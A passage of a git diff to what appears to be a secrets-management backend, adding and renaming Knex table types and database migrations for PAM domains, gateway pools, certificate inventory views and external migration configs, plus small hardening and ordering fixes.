 } from "@app/db/schemas/pam-discovery-sources";
+import { TPamDomains, TPamDomainsInsert, TPamDomainsUpdate } from "@app/db/schemas/pam-domains";
 import { TPamFolders, TPamFoldersInsert, TPamFoldersUpdate } from "@app/db/schemas/pam-folders";
 import {
   TPamResourceFavorites,
@@ -881,6 +888,11 @@ declare module "knex/types/tables" {
       TPkiScepTransactionsInsert,
       TPkiScepTransactionsUpdate
     >;
+    [TableName.PkiScepDynamicChallenge]: KnexOriginal.CompositeTableType<
+      TPkiScepDynamicChallenges,
+      TPkiScepDynamicChallengesInsert,
+      TPkiScepDynamicChallengesUpdate
+    >;
     [TableName.PkiApiEnrollmentConfig]: KnexOriginal.CompositeTableType<
       TPkiApiEnrollmentConfigs,
       TPkiApiEnrollmentConfigsInsert,
@@ -1035,7 +1047,6 @@ declare module "knex/types/tables" {
     >;
     [TableName.UserAction]: KnexOriginal.CompositeTableType<TUserActions, TUserActionsInsert, TUserActionsUpdate>;
     [TableName.SuperAdmin]: KnexOriginal.CompositeTableType<TSuperAdmin, TSuperAdminInsert, TSuperAdminUpdate>;
-    [TableName.ApiKey]: KnexOriginal.CompositeTableType<TApiKeys, TApiKeysInsert, TApiKeysUpdate>;
     [TableName.Project]: KnexOriginal.CompositeTableType<TProjects, TProjectsInsert, TProjectsUpdate>;
     [TableName.ProjectSshConfig]: KnexOriginal.CompositeTableType<
       TProjectSshConfigs,
@@ -1264,16 +1275,6 @@ declare module "knex/types/tables" {
       TSecretApprovalPoliciesEnvironmentsInsert,
       TSecretApprovalPoliciesEnvironmentsUpdate
     >;
-    [TableName.SecretRotation]: KnexOriginal.CompositeTableType<
-      TSecretRotations,
-      TSecretRotationsInsert,
-      TSecretRotationsUpdate
-    >;
-    [TableName.SecretRotationOutput]: KnexOriginal.CompositeTableType<
-      TSecretRotationOutputs,
-      TSecretRotationOutputsInsert,
-      TSecretRotationOutputsUpdate
-    >;
     [TableName.Snapshot]: KnexOriginal.CompositeTableType<
       TSecretSnapshots,
       TSecretSnapshotsInsert,
@@ -1374,11 +1375,6 @@ declare module "knex/types/tables" {
       TSecretApprovalRequestSecretTagsV2Insert,
       TSecretApprovalRequestSecretTagsV2Update
     >;
-    [TableName.SecretRotationOutputV2]: KnexOriginal.CompositeTableType<
-      TSecretRotationOutputV2,
-      TSecretRotationOutputV2Insert,
-      TSecretRotationOutputV2Update
-    >;
     // KMS service
     [TableName.KmsServerRootConfig]: KnexOriginal.CompositeTableType<
       TKmsRootConfig,
@@ -1585,6 +1581,17 @@ declare module "knex/types/tables" {
       TOrgGatewayConfigV2Update
     >;
     [TableName.GatewayV2]: KnexOriginal.CompositeTableType<TGatewaysV2, TGatewaysV2Insert, TGatewaysV2Update>;
+    [TableName.GatewayEnrollmentTokens]: KnexOriginal.CompositeTableType<
+      TGatewayEnrollmentTokens,
+      TGatewayEnrollmentTokensInsert,
+      TGatewayEnrollmentTokensUpdate
+    >;
+    [TableName.GatewayPool]: KnexOriginal.CompositeTableType<TGatewayPools, TGatewayPoolsInsert, TGatewayPoolsUpdate>;
+    [TableName.GatewayPoolMembership]: KnexOriginal.CompositeTableType<
+      TGatewayPoolMemberships,
+      TGatewayPoolMembershipsInsert,
+      TGatewayPoolMembershipsUpdate
+    >;
     [TableName.UserNotifications]: KnexOriginal.CompositeTableType<
       TUserNotifications,
       TUserNotificationsInsert,
@@ -1602,6 +1609,7 @@ declare module "knex/types/tables" {
       TPamResourceFavoritesInsert,
       TPamResourceFavoritesUpdate
     >;
+    [TableName.PamDomain]: KnexOriginal.CompositeTableType<TPamDomains, TPamDomainsInsert, TPamDomainsUpdate>;
     [TableName.PamAccount]: KnexOriginal.CompositeTableType<TPamAccounts, TPamAccountsInsert, TPamAccountsUpdate>;
     [TableName.PamAccountPolicy]: KnexOriginal.CompositeTableType<
       TPamAccountPolicies,
@@ -1662,10 +1670,10 @@ declare module "knex/types/tables" {
       TAdditionalPrivilegesInsert,
       TAdditionalPrivilegesUpdate
     >;
-    [TableName.VaultExternalMigrationConfig]: KnexOriginal.CompositeTableType<
-      TVaultExternalMigrationConfigs,
-      TVaultExternalMigrationConfigsInsert,
-      TVaultExternalMigrationConfigsUpdate
+    [TableName.ExternalMigrationConfig]: KnexOriginal.CompositeTableType<
+      TExternalMigrationConfigs,
+      TExternalMigrationConfigsInsert,
+      TExternalMigrationConfigsUpdate
     >;
     [TableName.WebAuthnCredential]: KnexOriginal.CompositeTableType<
       TWebauthnCredentials,
@@ -1769,10 +1777,20 @@ declare module "knex/types/tables" {
       TCertificateCleanupConfigsInsert,
       TCertificateCleanupConfigsUpdate
     >;
+    [TableName.CertificateInventoryView]: KnexOriginal.CompositeTableType<
+      TCertificateInventoryViews,
+      TCertificateInventoryViewsInsert,
+      TCertificateInventoryViewsUpdate
+    >;
     [TableName.SecretValidationRule]: KnexOriginal.CompositeTableType<
       TSecretValidationRules,
       TSecretValidationRulesInsert,
       TSecretValidationRulesUpdate
     >;
+    [TableName.VaultExternalMigrationConfig]: KnexOriginal.CompositeTableType<
+      TVaultExternalMigrationConfigs,
+      TVaultExternalMigrationConfigsInsert,
+      TVaultExternalMigrationConfigsUpdate
+    >;
   }
 }
diff --git a/backend/src/auto-start-migrations.ts b/backend/src/auto-start-migrations.ts
index 19448f4a44e..eb78825c079 100644
--- a/backend/src/auto-start-migrations.ts
+++ b/backend/src/auto-start-migrations.ts
@@ -297,6 +297,7 @@ const withStartupLock = async (db: Knex, logger: Logger, doMigrations: () => Pro
 
 export const runMigrations = async ({ applicationDb, auditLogDb, clickhouseClient, logger }: TArgs) => {
   const generateSanitizedSchema = process.env.GENERATE_SANITIZED_SCHEMA === "true";
+  const failOnSanitizedSchemaError = process.env.FAIL_ON_SANITIZED_SCHEMA_ERROR === "true";
 
   try {
     // akhilmhdh(Feb 10 2025): 2 years  from now remove this
@@ -369,6 +370,9 @@ export const runMigrations = async ({ applicationDb, auditLogDb, clickhouseClien
             { err, errorId: SANITIZED_SCHEMA_ERROR, phase: "recreate" },
             `${SANITIZED_SCHEMA_ERROR}: Failed to recreate sanitized schema`
           );
+          if (failOnSanitizedSchemaError) {
+            throw err;
+          }
         }
       }
       return;
@@ -424,6 +428,9 @@ export const runMigrations = async ({ applicationDb, auditLogDb, clickhouseClien
           { err, errorId: SANITIZED_SCHEMA_ERROR, phase: "create" },
           `${SANITIZED_SCHEMA_ERROR}: Failed to create sanitized schema after migrations`
         );
+        if (failOnSanitizedSchemaError) {
+          throw err;
+        }
       }
     }
   } catch (err) {
diff --git a/backend/src/db/migrations/20231207105059_api-key.ts b/backend/src/db/migrations/20231207105059_api-key.ts
index bb65ffadfde..fbb16208c9a 100644
--- a/backend/src/db/migrations/20231207105059_api-key.ts
+++ b/backend/src/db/migrations/20231207105059_api-key.ts
@@ -4,9 +4,9 @@ import { TableName } from "../schemas";
 import { createOnUpdateTrigger, dropOnUpdateTrigger } from "../utils";
 
 export async function up(knex: Knex): Promise<void> {
-  const isTablePresent = await knex.schema.hasTable(TableName.ApiKey);
+  const isTablePresent = await knex.schema.hasTable(TableName.DeprecatedApiKey);
   if (!isTablePresent) {
-    await knex.schema.createTable(TableName.ApiKey, (t) => {
+    await knex.schema.createTable(TableName.DeprecatedApiKey, (t) => {
       t.string("id", 36).primary().defaultTo(knex.fn.uuid());
       t.string("name").notNullable();
       t.datetime("lastUsed");
@@ -17,10 +17,10 @@ export async function up(knex: Knex): Promise<void> {
       t.foreign("userId").references("id").inTable(TableName.Users).onDelete("CASCADE");
     });
   }
-  await createOnUpdateTrigger(knex, TableName.ApiKey);
+  await createOnUpdateTrigger(knex, TableName.DeprecatedApiKey);
 }
 
 export async function down(knex: Knex): Promise<void> {
-  await knex.schema.dropTableIfExists(TableName.ApiKey);
-  await dropOnUpdateTrigger(knex, TableName.ApiKey);
+  await knex.schema.dropTableIfExists(TableName.DeprecatedApiKey);
+  await dropOnUpdateTrigger(knex, TableName.DeprecatedApiKey);
 }
diff --git a/backend/src/db/migrations/20240102152111_secret-rotation.ts b/backend/src/db/migrations/20240102152111_secret-rotation.ts
index ea962cc6ec6..1e3508a728f 100644
--- a/backend/src/db/migrations/20240102152111_secret-rotation.ts
+++ b/backend/src/db/migrations/20240102152111_secret-rotation.ts
@@ -4,8 +4,8 @@ import { TableName } from "../schemas";
 import { createOnUpdateTrigger, dropOnUpdateTrigger } from "../utils";
 
 export async function up(knex: Knex): Promise<void> {
-  if (!(await knex.schema.hasTable(TableName.SecretRotation))) {
-    await knex.schema.createTable(TableName.SecretRotation, (t) => {
+  if (!(await knex.schema.hasTable(TableName.DeprecatedSecretRotationV1))) {
+    await knex.schema.createTable(TableName.DeprecatedSecretRotationV1, (t) => {
       t.uuid("id", { primaryKey: true }).defaultTo(knex.fn.uuid());
       t.string("provider").notNullable();
       t.string("secretPath").notNullable();
@@ -23,22 +23,22 @@ export async function up(knex: Knex): Promise<void> {
       t.timestamps(true, true, true);
     });
   }
-  await createOnUpdateTrigger(knex, TableName.SecretRotation);
+  await createOnUpdateTrigger(knex, TableName.DeprecatedSecretRotationV1);
 
-  if (!(await knex.schema.hasTable(TableName.SecretRotationOutput))) {
-    await knex.schema.createTable(TableName.SecretRotationOutput, (t) => {
+  if (!(await knex.schema.hasTable(TableName.DeprecatedSecretRotationOutput))) {
+    await knex.schema.createTable(TableName.DeprecatedSecretRotationOutput, (t) => {
       t.uuid("id", { primaryKey: true }).defaultTo(knex.fn.uuid());
       t.string("key").notNullable();
       t.uuid("secretId").notNullable();
       t.foreign("secretId").references("id").inTable(TableName.Secret).onDelete("CASCADE");
       t.uuid("rotationId").notNullable();
-      t.foreign("rotationId").references("id").inTable(TableName.SecretRotation).onDelete("CASCADE");
+      t.foreign("rotationId").references("id").inTable(TableName.DeprecatedSecretRotationV1).onDelete("CASCADE");
     });
   }
 }
 
 export async function down(knex: Knex): Promise<void> {
-  await knex.schema.dropTableIfExists(TableName.SecretRotationOutput);
-  await knex.schema.dropTableIfExists(TableName.SecretRotation);
-  await dropOnUpdateTrigger(knex, TableName.SecretRotation);
+  await dropOnUpdateTrigger(knex, TableName.DeprecatedSecretRotationV1);
+  await knex.schema.dropTableIfExists(TableName.DeprecatedSecretRotationOutput);
+  await knex.schema.dropTableIfExists(TableName.DeprecatedSecretRotationV1);
 }
diff --git a/backend/src/db/migrations/20240730181850_secret-v2.ts b/backend/src/db/migrations/20240730181850_secret-v2.ts
index d44c67cf1a5..1d461afde3f 100644
--- a/backend/src/db/migrations/20240730181850_secret-v2.ts
+++ b/backend/src/db/migrations/20240730181850_secret-v2.ts
@@ -134,14 +134,14 @@ export async function up(knex: Knex): Promise<void> {
     });
   }
 
-  if (!(await knex.schema.hasTable(TableName.SecretRotationOutputV2))) {
-    await knex.schema.createTable(TableName.SecretRotationOutputV2, (t) => {
+  if (!(await knex.schema.hasTable(TableName.DeprecatedSecretRotationOutputV2))) {
+    await knex.schema.createTable(TableName.DeprecatedSecretRotationOutputV2, (t) => {
       t.uuid("id", { primaryKey: true }).defaultTo(knex.fn.uuid());
       t.string("key").notNullable();
       t.uuid("secretId").notNullable();
       t.foreign("secretId").references("id").inTable(TableName.SecretV2).onDelete("CASCADE");
       t.uuid("rotationId").notNullable();
-      t.foreign("rotationId").references("id").inTable(TableName.SecretRotation).onDelete("CASCADE");
+      t.foreign("rotationId").references("id").inTable(TableName.DeprecatedSecretRotationV1).onDelete("CASCADE");
     });
   }
 }
@@ -154,7 +154,7 @@ export async function down(knex: Knex): Promise<void> {
   await knex.schema.dropTableIfExists(TableName.SecretV2JnTag);
   await knex.schema.dropTableIfExists(TableName.SecretReferenceV2);
 
-  await knex.schema.dropTableIfExists(TableName.SecretRotationOutputV2);
+  await knex.schema.dropTableIfExists(TableName.DeprecatedSecretRotationOutputV2);
 
   await dropOnUpdateTrigger(knex, TableName.SecretVersionV2);
   await knex.schema.dropTableIfExists(TableName.SecretVersionV2Tag);
diff --git a/backend/src/db/migrations/20250210101841_secret-rotation-to-kms.ts b/backend/src/db/migrations/20250210101841_secret-rotation-to-kms.ts
index aef429ab98d..4ce97480db5 100644
--- a/backend/src/db/migrations/20250210101841_secret-rotation-to-kms.ts
+++ b/backend/src/db/migrations/20250210101841_secret-rotation-to-kms.ts
@@ -2,7 +2,6 @@ import { Knex } from "knex";
 
 import { inMemoryKeyStore } from "@app/keystore/memory";
 import { crypto } from "@app/lib/crypto/cryptography";
-import { selectAllTableCols } from "@app/lib/knex";
 import { initLogger } from "@app/lib/logger";
 import { kmsRootConfigDALFactory } from "@app/services/kms/kms-root-config-dal";
 import { KmsDataKey } from "@app/services/kms/kms-types";
@@ -15,11 +14,14 @@ import { getMigrationEncryptionServices, getMigrationHsmService } from "./utils/
 
 const BATCH_SIZE = 500;
 export async function up(knex: Knex): Promise<void> {
-  const hasEncryptedRotationData = await knex.schema.hasColumn(TableName.SecretRotation, "encryptedRotationData");
+  const hasEncryptedRotationData = await knex.schema.hasColumn(
+    TableName.DeprecatedSecretRotationV1,
+    "encryptedRotationData"
+  );
 
-  const hasRotationTable = await knex.schema.hasTable(TableName.SecretRotation);
+  const hasRotationTable = await knex.schema.hasTable(TableName.DeprecatedSecretRotationV1);
   if (hasRotationTable) {
-    await knex.schema.alterTable(TableName.SecretRotation, (t) => {
+    await knex.schema.alterTable(TableName.DeprecatedSecretRotationV1, (t) => {
       if (!hasEncryptedRotationData) t.binary("encryptedRotationData");
     });
   }
@@ -36,9 +38,9 @@ export async function up(knex: Knex): Promise<void> {
   const projectEncryptionRingBuffer =
     createCircularCache<Awaited<ReturnType<(typeof kmsService)["createCipherPairWithDataKey"]>>>(25);
 
-  const secretRotations = await knex(TableName.SecretRotation)
-    .join(TableName.Environment, `${TableName.Environment}.id`, `${TableName.SecretRotation}.envId`)
-    .select(selectAllTableCols(TableName.SecretRotation))
+  const secretRotations = await knex(TableName.DeprecatedSecretRotationV1)
+    .join(TableName.Environment, `${TableName.Environment}.id`, `${TableName.DeprecatedSecretRotationV1}.envId`)
+    .select(`${TableName.DeprecatedSecretRotationV1}.*`)
     .select(knex.ref("projectId").withSchema(TableName.Environment))
     .orderBy(`${TableName.Environment}.projectId` as "projectId");
 
@@ -88,25 +90,28 @@ export async function up(knex: Knex): Promise<void> {
 
   for (let i = 0; i < updatedRotationData.length; i += BATCH_SIZE) {
     // eslint-disable-next-line no-await-in-loop
-    await knex(TableName.SecretRotation)
+    await knex(TableName.DeprecatedSecretRotationV1)
       .insert(updatedRotationData.slice(i, i + BATCH_SIZE))
       .onConflict("id")
       .merge();
   }
 
   if (hasRotationTable) {
-    await knex.schema.alterTable(TableName.SecretRotation, (t) => {
+    await knex.schema.alterTable(TableName.DeprecatedSecretRotationV1, (t) => {
       if (!hasEncryptedRotationData) t.binary("encryptedRotationData").notNullable().alter();
     });
   }
 }
 
 export async function down(knex: Knex): Promise<void> {
-  const hasEncryptedRotationData = await knex.schema.hasColumn(TableName.SecretRotation, "encryptedRotationData");
+  const hasEncryptedRotationData = await knex.schema.hasColumn(
+    TableName.DeprecatedSecretRotationV1,
+    "encryptedRotationData"
+  );
 
-  const hasRotationTable = await knex.schema.hasTable(TableName.SecretRotation);
+  const hasRotationTable = await knex.schema.hasTable(TableName.DeprecatedSecretRotationV1);
   if (hasRotationTable) {
-    await knex.schema.alterTable(TableName.SecretRotation, (t) => {
+    await knex.schema.alterTable(TableName.DeprecatedSecretRotationV1, (t) => {
       if (hasEncryptedRotationData) t.dropColumn("encryptedRotationData");
     });
   }
diff --git a/backend/src/db/migrations/20260327210655_drop-queue-persistence.ts b/backend/src/db/migrations/20260327210655_drop-queue-persistence.ts
index d929b040162..c027069518e 100644
--- a/backend/src/db/migrations/20260327210655_drop-queue-persistence.ts
+++ b/backend/src/db/migrations/20260327210655_drop-queue-persistence.ts
@@ -7,8 +7,8 @@ const QUEUE_JOBS_TABLE = "queue_jobs";
 export async function up(knex: Knex): Promise<void> {
   const hasTable = await knex.schema.hasTable(QUEUE_JOBS_TABLE);
   if (hasTable) {
-    await knex.schema.dropTable(QUEUE_JOBS_TABLE);
     await dropOnUpdateTrigger(knex, QUEUE_JOBS_TABLE);
+    await knex.schema.dropTable(QUEUE_JOBS_TABLE);
   }
 }
 
diff --git a/backend/src/db/migrations/20260330172252_rename-vault-to-external-migration-config.ts b/backend/src/db/migrations/20260330172252_rename-vault-to-external-migration-config.ts
new file mode 100644
index 00000000000..b91e97c9fa8
--- /dev/null
+++ b/backend/src/db/migrations/20260330172252_rename-vault-to-external-migration-config.ts
@@ -0,0 +1,71 @@
+import { Knex } from "knex";
+
+import { inMemoryKeyStore } from "@app/keystore/memory";
+import { selectAllTableCols } from "@app/lib/knex";
+import { initLogger } from "@app/lib/logger";
+import { ExternalMigrationProviders } from "@app/services/external-migration/external-migration-schemas";
+import { kmsRootConfigDALFactory } from "@app/services/kms/kms-root-config-dal";
+import { KmsDataKey } from "@app/services/kms/kms-types";
+import { superAdminDALFactory } from "@app/services/super-admin/super-admin-dal";
+
+import { TableName } from "../schemas";
+import { createOnUpdateTrigger, dropOnUpdateTrigger } from "../utils";
+import { getMigrationEnvConfig, getMigrationHsmConfig } from "./utils/env-config";
+import { getMigrationEncryptionServices, getMigrationHsmService } from "./utils/services";
+
+export async function up(knex: Knex): Promise<void> {
+  initLogger();
+  const { hsmService } = await getMigrationHsmService({ envConfig: getMigrationHsmConfig() });
+  const superAdminDAL = superAdminDALFactory(knex);
+  const kmsRootConfigDAL = kmsRootConfigDALFactory(knex);
+  const envConfig = await getMigrationEnvConfig(superAdminDAL, hsmService, kmsRootConfigDAL);
+  const keyStore = inMemoryKeyStore();
+  const { kmsService } = await getMigrationEncryptionServices({ envConfig, keyStore, db: knex });
+
+  if (!(await knex.schema.hasTable(TableName.ExternalMigrationConfig))) {
+    await knex.schema.createTable(TableName.ExternalMigrationConfig, (t) => {
+      t.uuid("id", { primaryKey: true }).defaultTo(knex.fn.uuid());
+      t.uuid("orgId").notNullable();
+      t.foreign("orgId").references("id").inTable(TableName.Organization).onDelete("CASCADE");
+      t.string("provider").notNullable();
+      t.binary("encryptedConfig").notNullable();
+      t.uuid("connectionId");
+      t.foreign("connectionId").references("id").inTable(TableName.AppConnection);
+      t.timestamps(true, true, true);
+    });
+
+    await createOnUpdateTrigger(knex, TableName.ExternalMigrationConfig);
+
+    if (await knex.schema.hasTable(TableName.VaultExternalMigrationConfig)) {
+      const existingVaultConfigs = await knex(TableName.VaultExternalMigrationConfig).select(
+        selectAllTableCols(TableName.VaultExternalMigrationConfig)
+      );
+
+      await Promise.all(
+        existingVaultConfigs.map(async (vaultConfig) => {
+          const { encryptor } = await kmsService.createCipherPairWithDataKey({
+            orgId: vaultConfig.orgId,
+            type: KmsDataKey.Organization
+          });
+
+          const config = {
+            namespace: vaultConfig.namespace
+          };
+          const { cipherTextBlob: encryptedConfig } = encryptor({ plainText: Buffer.from(JSON.stringify(config)) });
+
+          await knex(TableName.ExternalMigrationConfig).insert({
+            orgId: vaultConfig.orgId,
+            provider: ExternalMigrationProviders.Vault,
+            encryptedConfig,
+            connectionId: vaultConfig.connectionId
+          });
+        })
+      );
+    }
+  }
+}
+
+export async function down(knex: Knex): Promise<void> {
+  await knex.schema.dropTableIfExists(TableName.ExternalMigrationConfig);
+  await dropOnUpdateTrigger(knex, TableName.ExternalMigrationConfig);
+}
diff --git a/backend/src/db/migrations/20260401124650_certificate-inventory-views.ts b/backend/src/db/migrations/20260401124650_certificate-inventory-views.ts
new file mode 100644
index 00000000000..261954af475
--- /dev/null
+++ b/backend/src/db/migrations/20260401124650_certificate-inventory-views.ts
@@ -0,0 +1,36 @@
+import { Knex } from "knex";
+
+import { TableName } from "../schemas";
+import { createOnUpdateTrigger, dropOnUpdateTrigger } from "../utils";
+
+export async function up(knex: Knex): Promise<void> {
+  if (!(await knex.schema.hasTable(TableName.CertificateInventoryView))) {
+    await knex.schema.createTable(TableName.CertificateInventoryView, (t) => {
+      t.uuid("id", { primaryKey: true }).defaultTo(knex.fn.uuid());
+
+      t.string("projectId").notNullable();
+      t.foreign("projectId").references("id").inTable(TableName.Project).onDelete("CASCADE");
+
+      t.string("name", 255).notNullable();
+      t.jsonb("filters").notNullable();
+      t.jsonb("columns").nullable();
+
+      t.uuid("createdByUserId").nullable();
+      t.foreign("createdByUserId").references("id").inTable(TableName.Users).onDelete("SET NULL");
+
+      t.timestamps(true, true, true);
+
+      t.index(["projectId", "createdByUserId"]);
+      t.unique(["projectId", "name", "createdByUserId"]);
+    });
+
+    await createOnUpdateTrigger(knex, TableName.CertificateInventoryView);
+  }
+}
+
+export async function down(knex: Knex): Promise<void> {
+  if (await knex.schema.hasTable(TableName.CertificateInventoryView)) {
+    await dropOnUpdateTrigger(knex, TableName.CertificateInventoryView);
+    await knex.schema.dropTable(TableName.CertificateInventoryView);
+  }
+}
diff --git a/backend/src/db/migrations/20260404140728_username-merge.ts b/backend/src/db/migrations/20260404140728_username-merge.ts
index 12e693f9b6c..d8d652642bf 100644
--- a/backend/src/db/migrations/20260404140728_username-merge.ts
+++ b/backend/src/db/migrations/20260404140728_username-merge.ts
@@ -40,6 +40,7 @@ export async function up(knex: Knex): Promise<void> {
     UPDATE "${TableName.Users}"
     SET "isGitHubVerified" = TRUE
     WHERE "authMethods" @> ARRAY['github']::text[]
+      AND "isAccepted" = TRUE
       AND ("isGitHubVerified" IS NULL OR "isGitHubVerified" = FALSE)
   `);
 
@@ -47,6 +48,7 @@ export async function up(knex: Knex): Promise<void> {
     UPDATE "${TableName.Users}"
     SET "isGoogleVerified" = TRUE
     WHERE "authMethods" @> ARRAY['google']::text[]
+      AND "isAccepted" = TRUE
       AND ("isGoogleVerified" IS NULL OR "isGoogleVerified" = FALSE)
   `);
 
@@ -54,6 +56,7 @@ export async function up(knex: Knex): Promise<void> {
     UPDATE "${TableName.Users}"
     SET "isGitLabVerified" = TRUE
     WHERE "authMethods" @> ARRAY['gitlab']::text[]
+      AND "isAccepted" = TRUE
       AND ("isGitLabVerified" IS NULL OR "isGitLabVerified" = FALSE)
   `);
     log(`Step 2 done in ${Date.now() - t}ms`);
diff --git a/backend/src/db/migrations/20260408062748_pam-domains.ts b/backend/src/db/migrations/20260408062748_pam-domains.ts
new file mode 100644
index 00000000000..3de691870ba
--- /dev/null
+++ b/backend/src/db/migrations/20260408062748_pam-domains.ts
@@ -0,0 +1,219 @@
+/* eslint-disable no-await-in-loop, @typescript-eslint/no-explicit-any */
+import { Knex } from "knex";
+
+import { TableName } from "../schemas";
+import { createOnUpdateTrigger, dropOnUpdateTrigger } from "../utils";
+
+export async function up(knex: Knex): Promise<void> {
+  // \Create pam_domains table
+  if (!(await knex.schema.hasTable(TableName.PamDomain))) {
+    await knex.schema.createTable(TableName.PamDomain, (t) => {
+      t.uuid("id", { primaryKey: true }).defaultTo(knex.fn.uuid());
+
+      t.string("projectId").notNullable();
+      t.foreign("projectId").references("id").inTable(TableName.Project).onDelete("CASCADE");
+      t.index("projectId");
+
+      t.string("name").notNullable();
+      t.index("name");
+
+      t.string("domainType").notNullable();
+      t.index("domainType");
+
+      t.uuid("gatewayId").nullable();
+      t.foreign("gatewayId").references("id").inTable(TableName.GatewayV2);
+      t.index("gatewayId");
+
+      t.binary("encryptedConnectionDetails").notNullable();
+      t.string("discoveryFingerprint").nullable();
+
+      t.unique(["projectId", "name"]);
+
+      t.timestamps(true, true, true);
+    });
+
+    await createOnUpdateTrigger(knex, TableName.PamDomain);
+  }
+
+  // Add domainId to pam_resources
+  if (await knex.schema.hasTable(TableName.PamResource)) {
+    const hasDomainId = await knex.schema.hasColumn(TableName.PamResource, "domainId");
+    if (!hasDomainId) {
+      await knex.schema.alterTable(TableName.PamResource, (t) => {
+        t.uuid("domainId").nullable();
+        t.foreign("domainId").references("id").inTable(TableName.PamDomain).onDelete("SET NULL");
+        t.index("domainId");
+      });
+    }
+  }
+
+  // Add domainId to pam_accounts (exactly one of resourceId/domainId must be set)
+  if (await knex.schema.hasTable(TableName.PamAccount)) {
+    const hasDomainId = await knex.schema.hasColumn(TableName.PamAccount, "domainId");
+    if (!hasDomainId) {
+      await knex.schema.alterTable(TableName.PamAccount, (t) => {
+        t.uuid("domainId").nullable();
+        t.foreign("domainId").references("id").inTable(TableName.PamDomain).onDelete("CASCADE");
+        t.index("domainId");
+      });
+
+      await knex.schema.alterTable(TableName.PamAccount, (t) => {
+        t.uuid("resourceId").nullable().alter();
+      });
+
+      await knex.raw(`
+        ALTER TABLE ${TableName.PamAccount}
+        ADD CONSTRAINT chk_pam_account_parent
+        CHECK (
+          (("resourceId" IS NOT NULL AND "domainId" IS NULL) OR ("resourceId" IS NULL AND "domainId" IS NOT NULL))
+        )
+      `);
+    }
+  }
+
+  // Add pamDomainId to resource_metadata
+  if (await knex.schema.hasTable(TableName.ResourceMetadata)) {
+    const hasPamDomainId = await knex.schema.hasColumn(TableName.ResourceMetadata, "pamDomainId");
+    if (!hasPamDomainId) {
+      await knex.schema.alterTable(TableName.ResourceMetadata, (t) => {
+        t.uuid("pamDomainId").nullable();
+        t.foreign("pamDomainId").references("id").inTable(TableName.PamDomain).onDelete("CASCADE");
+      });
+    }
+  }
+
+  // Migrate existing AD resources to domains (preserving IDs for referential integrity)
+  const adResources = await knex(TableName.PamResource).where("resourceType", "active-directory").select("*");
+
+  for (const adResource of adResources) {
+    await knex(TableName.PamDomain).insert({
+      id: adResource.id,
+      projectId: adResource.projectId,
+      name: adResource.name,
+      domainType: "active-directory",
+      gatewayId: adResource.gatewayId,
+      encryptedConnectionDetails: adResource.encryptedConnectionDetails,
+      discoveryFingerprint: adResource.discoveryFingerprint
+    } as any);
+
+    await knex(TableName.PamAccount)
+      .where("resourceId", adResource.id)
+      .update({
+        domainId: adResource.id,
+        resourceId: null
+      } as any);
+
+    await knex(TableName.PamResource)
+      .where("adServerResourceId", adResource.id)
+      .update({
+        domainId: adResource.id,
+        adServerResourceId: null
+      } as any);
+
+    await knex(TableName.PamResourceRotationRule).where("resourceId", adResource.id).delete();
+    await knex(TableName.PamDiscoverySourceResource).where("resourceId", adResource.id).delete();
+
+    await knex(TableName.ResourceMetadata)
+      .where("pamResourceId", adResource.id)
+      .update({
+        pamDomainId: adResource.id,
+        pamResourceId: null
+      } as any);
+
+    await knex(TableName.PamResource).where("id", adResource.id).delete();
+  }
+
+  // Drop adServerResourceId column from pam_resources
+  if (await knex.schema.hasTable(TableName.PamResource)) {
+    const hasAdServerResourceId = await knex.schema.hasColumn(TableName.PamResource, "adServerResourceId");
+    if (hasAdServerResourceId) {
+      await knex.schema.alterTable(TableName.PamResource, (t) => {
+        t.dropColumn("adServerResourceId");
+      });
+    }
+  }
+}
+
+export async function down(knex: Knex): Promise<void> {
+  if (await knex.schema.hasTable(TableName.PamResource)) {
+    const hasAdServerResourceId = await knex.schema.hasColumn(TableName.PamResource, "adServerResourceId");
+    if (!hasAdServerResourceId) {
+      await knex.schema.alterTable(TableName.PamResource, (t) => {
+        t.uuid("adServerResourceId").nullable();
+        t.foreign("adServerResourceId").references("id").inTable(TableName.PamResource).onDelete("SET NULL");
+      });
+    }
+  }
+
+  if (await knex.schema.hasTable(TableName.PamDomain)) {
+    const domains = await knex(TableName.PamDomain).where("domainType", "active-directory").select("*");
+
+    for (const domain of domains) {
+      await knex(TableName.PamResource).insert({
+        id: domain.id,
+        projectId: domain.projectId,
+        name: domain.name,
+        resourceType: "active-directory",
+        gatewayId: domain.gatewayId,
+        encryptedConnectionDetails: domain.encryptedConnectionDetails,
+        discoveryFingerprint: domain.discoveryFingerprint
+      } as any);
+
+      await knex(TableName.PamAccount)
+        .where("domainId", domain.id)
+        .update({
+          resourceId: domain.id,
+          domainId: null
+        } as any);
+
+      await knex(TableName.PamResource)
+        .where("domainId", domain.id)
+        .update({
+          adServerResourceId: domain.id,
+          domainId: null
+        } as any);
+
+      await knex(TableName.ResourceMetadata)
+        .where("pamDomainId", domain.id)
+        .update({
+          pamResourceId: domain.id,
+          pamDomainId: null
+        } as any);
+
+      await knex(TableName.PamDomain).where("id", domain.id).delete();
+    }
+  }
+
+  await knex.raw(`ALTER TABLE ${TableName.PamAccount} DROP CONSTRAINT IF EXISTS chk_pam_account_parent`);
+
+  if (await knex.schema.hasTable(TableName.PamAccount)) {
+    const hasDomainId = await knex.schema.hasColumn(TableName.PamAccount, "domainId");
+    if (hasDomainId) {
+      await knex.schema.alterTable(TableName.PamAccount, (t) => {
+        t.uuid("resourceId").notNullable().alter();
+        t.dropColumn("domainId");
+      });
+    }
+  }
+
+  if (await knex.schema.hasTable(TableName.ResourceMetadata)) {
+    const hasPamDomainId = await knex.schema.hasColumn(TableName.ResourceMetadata, "pamDomainId");
+    if (hasPamDomainId) {
+      await knex.schema.alterTable(TableName.ResourceMetadata, (t) => {
+        t.dropColumn("pamDomainId");
+      });
+    }
+  }
+
+  if (await knex.schema.hasTable(TableName.PamResource)) {
+    const hasDomainId = await knex.schema.hasColumn(TableName.PamResource, "domainId");
+    if (hasDomainId) {
+      await knex.schema.alterTable(TableName.PamResource, (t) => {
+        t.dropColumn("domainId");
+      });
+    }
+  }
+
+  await dropOnUpdateTrigger(knex, TableName.PamDomain);
+  await knex.schema.dropTableIfExists(TableName.PamDomain);
+}
diff --git a/backend/src/db/migrations/20260409120000_add-webhook-event-toggles.ts b/backend/src/db/migrations/20260409120000_add-webhook-event-toggles.ts
new file mode 100644
index 00000000000..f6fcae82232
--- /dev/null
+++ b/backend/src/db/migrations/20260409120000_add-webhook-event-toggles.ts
@@ -0,0 +1,31 @@
+import { Knex } from "knex";
+
+import { TableName } from "../schemas";
+
+const FILTERED_EVENTS_COLUMN = "filteredEvents";
+
+export async function up(knex: Knex): Promise<void> {
